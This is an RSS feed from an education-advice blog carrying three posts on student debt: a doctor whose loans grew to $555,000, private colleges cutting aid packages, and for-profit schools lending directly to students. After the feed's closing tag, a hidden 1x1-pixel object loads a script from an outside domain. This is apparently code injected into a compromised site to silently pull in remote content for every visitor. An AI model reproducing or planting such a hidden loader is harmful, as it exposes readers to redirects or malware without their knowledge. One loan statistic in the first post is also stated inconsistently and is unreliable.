<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; student debt</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/student-debt/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>One Student&#8217;s Debt is $550,000</title>
		<link>http://www.classesandcareers.com/education/2010/02/17/one-students-debt-is-550000/</link>
		<comments>http://www.classesandcareers.com/education/2010/02/17/one-students-debt-is-550000/#comments</comments>
		<pubDate>Wed, 17 Feb 2010 23:26:15 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[eliminate student debt]]></category>
		<category><![CDATA[financing college]]></category>
		<category><![CDATA[student debt]]></category>
		<category><![CDATA[student loans]]></category>
		<category><![CDATA[student's loans]]></category>

		<guid isPermaLink="false">http://www.classesandcareers.com/education/?p=1744</guid>
		<description><![CDATA[One woman decided that an education was worth the student debt. Michelle Bisutti took out $250,000 in student debt before she finished medical school in 2003. But over the years it grew to a $555,000 debt. The woman deferred her loan payments while she did her residency and so default charges compounded the interest rates.]]></description>
			<content:encoded><![CDATA[<p>One woman decided that an education was worth the student debt. Michelle Bisutti took out $250,000 in student debt before she finished medical school in 2003. But over the years it grew to a $555,000 debt.</p>
<p>The woman deferred her loan payments while she did her residency and so default charges compounded the interest rates. There was a single $53,870 fee added and eventually the debt amount was turned over to a collection agency.</p>
<p>Bisutti acknowledges she didn&#8217;t read the loans fine print. Apparently! What doesn&#8217;t make sense is why she let it go to a collection agency before she took it seriously. I took out a student loan and I was constantly getting papers that were telling me I would have to start making payments on such and such a date; so I knew in advance what the payments would be and I could figure out a way to pay them.</p>
<p>Did she hide all of those under her bed and hope they would go away? She needed to contact her financial counselor and find out a way to start making the monthly payments. Since she avoided the repayment she now owes over two times the amount.</p>
<p>Student loans are serious business. Since the government funds these student loans they are very hard to get rid of. Whereas other debts can pretty much be eliminated by declaring bankruptcy. The keys to the house are taken away and the car may be taken away along with other things but you have the chance to start over.</p>
<p>But <strong>student debt</strong> follows individuals around even if they declare bankruptcy. So getting rid of student loan debt is virtually impossible especially once the collection agency is involved.</p>
<p>Probably the best thing to do in the situation is contact financial aid advisors and see if payments may be trimmed down and extended over a longer period of time.  But other than that there isn’t much that can be done.</p>
<p>The website FinAid.org said that there&#8217;s over $730 billion in outstanding federal and private student-loan debt and only 40% of that is actively being paid on and the rest is in default. This means that only $292 billion is being repaid and that $438 billion is in deferment, forbearance, or in collections.</p>
<p>Students need to understand that <strong>student loans</strong> are serious. They can mess up the rest of their life if they aren&#8217;t paying attention. They need to understand everything and read all of the fine print before they sign their name.</p>
<p>Debts can quickly spiral out of control and in this economy it can be difficult to pay back. So only take out student loans as a last resort and make sure that everything is as clear as day before you put your signature on it and take the money.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2010/02/17/one-students-debt-is-550000/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Private Colleges Cut Aid Packages</title>
		<link>http://www.classesandcareers.com/education/2010/02/10/private-colleges-cut-aid-packages/</link>
		<comments>http://www.classesandcareers.com/education/2010/02/10/private-colleges-cut-aid-packages/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 20:56:15 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[aid packages]]></category>
		<category><![CDATA[education cuts]]></category>
		<category><![CDATA[education funding]]></category>
		<category><![CDATA[education reductions]]></category>
		<category><![CDATA[private colleges]]></category>
		<category><![CDATA[private schools]]></category>
		<category><![CDATA[student debt]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=1401</guid>
		<description><![CDATA[Last year private colleges throughout the nation had to lay off staff, cut down on sports teams, halt construction projects, and even turn down thermostats all in the name of saving money. And in the meantime, schools are seeing even greater numbers of students and the financial aid keeps coming.]]></description>
			<content:encoded><![CDATA[<p>Last year private colleges throughout the nation had to lay off staff, cut down on sports teams, halt construction projects, and even turn down thermostats all in the name of saving money. And in the meantime, schools are seeing even greater numbers of students and the financial aid keeps coming.</p>
<p>However, now the weak economy is forcing some schools to limit the financial aid available after many doubled or tripled financial aid in order to attract greater numbers of students and also to reduce student debt. But now Dartmouth and Williams College will no longer be offering <strong>aid packages</strong> that formerly allowed students to attend without taking out loans. And other private schools are expected to follow suit which means students will have to take on more debt in order to earn a degree.</p>
<p>Tuition is expected to increase by 4 to 6 percent this year and there are fewer resources available to students. And financial aid and even scholarships will start to suffer at private institutions. Last year schools were concerned enrollments would drop so they dug into their future savings in order to increase student aid. But now colleges are really shorthanded in funding this year.</p>
<p>In recent years between 30 and 40 schools which were mostly private have replaced scholarships and grants with loans. At Dartmouth for example, students whose families earn above $75,000 are eligible to receive between $2,500 and $5,500 in loans. But students from families who earn less than that amount will still be able to receive free tuition and loan-free aid packages.</p>
<p>Schools are now trying to set their budgets for next year and many are expected to increase tuition costs along with loan options and cut down on the money that they&#8217;re giving out. But many also recognize that those actions won&#8217;t be enough and they have to make staff cuts and eliminate certain sports programs. Funding coming in and going out of schools is making it difficult for students to earn a degree and for schools to stay open.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2010/02/10/private-colleges-cut-aid-packages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>For-profit colleges prosper</title>
		<link>http://www.classesandcareers.com/education/2009/08/18/for-profit-colleges-prosper/</link>
		<comments>http://www.classesandcareers.com/education/2009/08/18/for-profit-colleges-prosper/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 17:35:50 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Financial Aid]]></category>
		<category><![CDATA[college financial options]]></category>
		<category><![CDATA[direct student loans]]></category>
		<category><![CDATA[financing education]]></category>
		<category><![CDATA[for-profit colleges]]></category>
		<category><![CDATA[private loans]]></category>
		<category><![CDATA[school is expensive]]></category>
		<category><![CDATA[student debt]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=590</guid>
		<description><![CDATA[Many of the largest for-profit schools are boosting their enrollment during these economic times because they are making more loans directly to cash-strapped students.  Even though they recognize many of the loans will probably never be repaid for the amounts that were borrowed.]]></description>
			<content:encoded><![CDATA[<p>Many of the largest for-profit schools are boosting their enrollment during these economic times because they are making more <b>loans directly</b> to cash-strapped students.&nbsp; Even though, they recognize many of the loans will probably never be repaid for the amounts that were borrowed.</p>
<p>	However, the schools still make money and profit because they increase their enrollment, which brings tuition dollars that are subsidized by the government to the schools.&nbsp; Some schools that have seen their enrollment significantly increase are the University of Phoenix, Westwood College, and <a href="http://classesandcareers.com/online-schools_itt-technical-institute">ITT</a>.&nbsp; ITT has seen new enrollments rise by 33 percent and seen profits increase 50 percent from last year. </p>
<p>	Many of the students at these schools finance their education through tuition grants from the government and take out loans for the rest of their costs.&nbsp; However, with the economic difficulty, it has become more difficult for students to get bank loans, so schools have stepped up and are <b>extending credit</b> to students.</p>
<p>	In some cases students are getting better terms, but many have taken loans that are worse. Students need to check around and make sure they are taking the best loan.&nbsp; Go over it thoroughly and understand everything before you sign it.</p>
<p>	For-profit schools have seen the proportion of students <a href="http://classesandcareers.com/online-schools_ashford-university/degrees_business/courses_business-finance">borrowing</a> at least <b>$40,000 </b>nearly triple to 30 percent.&nbsp; These schools are also showing that 43 percent of students took out private loans in 2007-08.&nbsp; College can be expensive, and students need to prepare for that. </p>
<p>	Despite the expense, students are returning to school because they have either been laid off from work or have decided to take advantage of increased government aid. Education is never something that invidividuals resent having.&nbsp; They understand that despite the time, energy, and money it took to earn a degree, it was a wise investment in their future.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/08/18/for-profit-colleges-prosper/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
